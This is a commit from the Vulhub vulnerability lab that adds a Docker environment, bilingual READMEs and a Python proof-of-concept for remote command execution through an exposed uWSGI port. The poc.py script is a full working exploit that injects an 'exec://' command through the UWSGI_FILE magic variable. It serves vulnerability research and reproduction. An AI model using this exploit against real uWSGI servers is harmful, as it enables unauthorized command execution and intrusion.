first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled

This commit is contained in:
2025-09-06 16:08:15 +08:00
commit 63285f61aa
2624 changed files with 88491 additions and 0 deletions

BIN
uwsgi/unacc/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.7 KiB

BIN
uwsgi/unacc/2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.2 KiB

33
uwsgi/unacc/README.md Normal file
View File

@@ -0,0 +1,33 @@
# uWSGI Unauthorized Access Vulnerability
[中文版本(Chinese version)](README.zh-cn.md)
uWSGI is a web application server, which implements protocols such as WSGI/uwsgi/http, and supports for various languages through plugins. More than an application name, uwsgi is also an exchange standard between the front-end server and the back-end application container, just like Fastcgi.
uWSGI allows configuring back-end web application dynamically through Magic Variables. If the port is exposed, attackers can construct uwsgi packets and specify the magic variable `UWSGI_FILE`, so as to execute arbitrary commands by applying `exec://` protocol.
Reference links
- https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi-rce-zh.md
- https://xz.aliyun.com/t/3512
- https://uwsgi-docs.readthedocs.io/en/latest/Vars.html
## Environment Setup
Enter the following command
```
docker compose up -d
```
`http://your-ip:8080` is a web application and its uwsgi is exposed to 8000 port.
## POC
Using [poc.py](poc.py)you can run the command `python poc.py -u your-ip:8000 -c "touch /tmp/success"`
![](1.png)
Entering the container through `docker compose exec web bash` you'll see `/tmp/success` creating successfully
![](2.png)

View File

@@ -0,0 +1,31 @@
# uWSGI 未授权访问漏洞
uWSGI是一款Web应用程序服务器它实现了WSGI、uwsgi和http等协议并支持通过插件来运行各种语言通常被用于运行Python WEB应用。uwsgi除了是应用容器的名称之外它和Fastcgi之类的一样也是前端server与后端应用容器之间的一个交流标准。目前nginxapache也支持uwsgi协议进行代理转发请求。
uWSGI支持通过魔术变量Magic Variables的方式动态配置后端Web应用。如果其端口暴露在外攻击者可以构造uwsgi数据包并指定魔术变量`UWSGI_FILE`,运用`exec://`协议执行任意命令。
参考链接:
- https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi-rce-zh.md
- https://xz.aliyun.com/t/3512
- https://uwsgi-docs.readthedocs.io/en/latest/Vars.html
## 漏洞环境
执行如下命令启动nginx+uwsgi环境
```
docker compose up -d
```
环境启动后,访问`http://your-ip:8080`即可查看一个Web应用其uwsgi暴露在8000端口。
## 漏洞复现
使用[poc.py](poc.py),执行命令`python poc.py -u your-ip:8000 -c "touch /tmp/success"`
![](1.png)
执行`docker compose exec web bash`进入容器,可见`/tmp/success`已经成功执行:
![](2.png)

View File

@@ -0,0 +1,17 @@
version: '2'
services:
nginx:
image: nginx:1-alpine
volumes:
- ./files/default.conf:/etc/nginx/conf.d/default.conf
depends_on:
- web
ports:
- "8080:80"
web:
image: vulhub/uwsgi-python:2.0.17
command: uwsgi --socket 0.0.0.0:8000 --chdir /usr/src --module server --uid www-data --gid www-data -p 2
volumes:
- ./files/server.py:/usr/src/server.py
ports:
- "8000:8000"

View File

@@ -0,0 +1,22 @@
upstream django {
# server unix:///path/to/your/mysite/mysite.sock; # for a file socket
server web:8000; # for a web port socket (we'll use this first)
}
# configuration of the server
server {
# the port your site will be served on
listen 80;
# the domain name it will serve for
server_name localhost; # substitute your machine's IP address or FQDN
charset utf-8;
# max upload size
client_max_body_size 2M; # adjust to taste
# Finally, send all non-media requests to the Django server.
location / {
uwsgi_pass django;
include /etc/nginx/uwsgi_params; # the uwsgi_params file you installed
}
}

View File

@@ -0,0 +1,4 @@
from wsgiref.simple_server import demo_app
application = demo_app

145
uwsgi/unacc/poc.py Normal file
View File

@@ -0,0 +1,145 @@
#!/usr/bin/python
# coding: utf-8
######################
# Uwsgi RCE Exploit
######################
# Author: wofeiwo@80sec.com
# Created: 2017-7-18
# Last modified: 2018-1-30
# Note: Just for research purpose
import sys
import socket
import argparse
import requests
def sz(x):
s = hex(x if isinstance(x, int) else len(x))[2:].rjust(4, '0')
s = bytes.fromhex(s) if sys.version_info[0] == 3 else s.decode('hex')
return s[::-1]
def pack_uwsgi_vars(var):
pk = b''
for k, v in var.items() if hasattr(var, 'items') else var:
pk += sz(k) + k.encode('utf8') + sz(v) + v.encode('utf8')
result = b'\x00' + sz(pk) + b'\x00' + pk
return result
def parse_addr(addr, default_port=None):
port = default_port
if isinstance(addr, str):
if addr.isdigit():
addr, port = '', addr
elif ':' in addr:
addr, _, port = addr.partition(':')
elif isinstance(addr, (list, tuple, set)):
addr, port = addr
port = int(port) if port else port
return (addr or '127.0.0.1', port)
def get_host_from_url(url):
if '//' in url:
url = url.split('//', 1)[1]
host, _, url = url.partition('/')
return (host, '/' + url)
def fetch_data(uri, payload=None, body=None):
if 'http' not in uri:
uri = 'http://' + uri
s = requests.Session()
# s.headers['UWSGI_FILE'] = payload
if body:
import urlparse
body_d = dict(urlparse.parse_qsl(urlparse.urlsplit(body).path))
d = s.post(uri, data=body_d)
else:
d = s.get(uri)
return {
'code': d.status_code,
'text': d.text,
'header': d.headers
}
def ask_uwsgi(addr_and_port, mode, var, body=''):
if mode == 'tcp':
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(parse_addr(addr_and_port))
elif mode == 'unix':
s = socket.socket(socket.AF_UNIX)
s.connect(addr_and_port)
s.send(pack_uwsgi_vars(var) + body.encode('utf8'))
response = []
# Actually we dont need the response, it will block if we run any commands.
# So I comment all the receiving stuff.
# while 1:
# data = s.recv(4096)
# if not data:
# break
# response.append(data)
s.close()
return b''.join(response).decode('utf8')
def curl(mode, addr_and_port, payload, target_url):
host, uri = get_host_from_url(target_url)
path, _, qs = uri.partition('?')
if mode == 'http':
return fetch_data(addr_and_port+uri, payload)
elif mode == 'tcp':
host = host or parse_addr(addr_and_port)[0]
else:
host = addr_and_port
var = {
'SERVER_PROTOCOL': 'HTTP/1.1',
'REQUEST_METHOD': 'GET',
'PATH_INFO': path,
'REQUEST_URI': uri,
'QUERY_STRING': qs,
'SERVER_NAME': host,
'HTTP_HOST': host,
'UWSGI_FILE': payload,
'SCRIPT_NAME': target_url
}
return ask_uwsgi(addr_and_port, mode, var)
def main(*args):
desc = """
This is a uwsgi client & RCE exploit.
Last modifid at 2018-01-30 by wofeiwo@80sec.com
"""
elog = "Exampleuwsgi_exp.py -u 1.2.3.4:5000 -c \"echo 111>/tmp/abc\""
parser = argparse.ArgumentParser(description=desc, epilog=elog)
parser.add_argument('-m', '--mode', nargs='?', default='tcp',
help='Uwsgi mode: 1. http 2. tcp 3. unix. The default is tcp.',
dest='mode', choices=['http', 'tcp', 'unix'])
parser.add_argument('-u', '--uwsgi', nargs='?', required=True,
help='Uwsgi server: 1.2.3.4:5000 or /tmp/uwsgi.sock',
dest='uwsgi_addr')
parser.add_argument('-c', '--command', nargs='?', required=True,
help='Command: The exploit command you want to execute, must have this.',
dest='command')
if len(sys.argv) < 2:
parser.print_help()
return
args = parser.parse_args()
if args.mode.lower() == "http":
print("[-]Currently only tcp/unix method is supported in RCE exploit.")
return
payload = 'exec://' + args.command + "; echo test" # must have someting in output or the uWSGI crashs.
print("[*]Sending payload.")
print(curl(args.mode.lower(), args.uwsgi_addr, payload, '/testapp'))
if __name__ == '__main__':
main()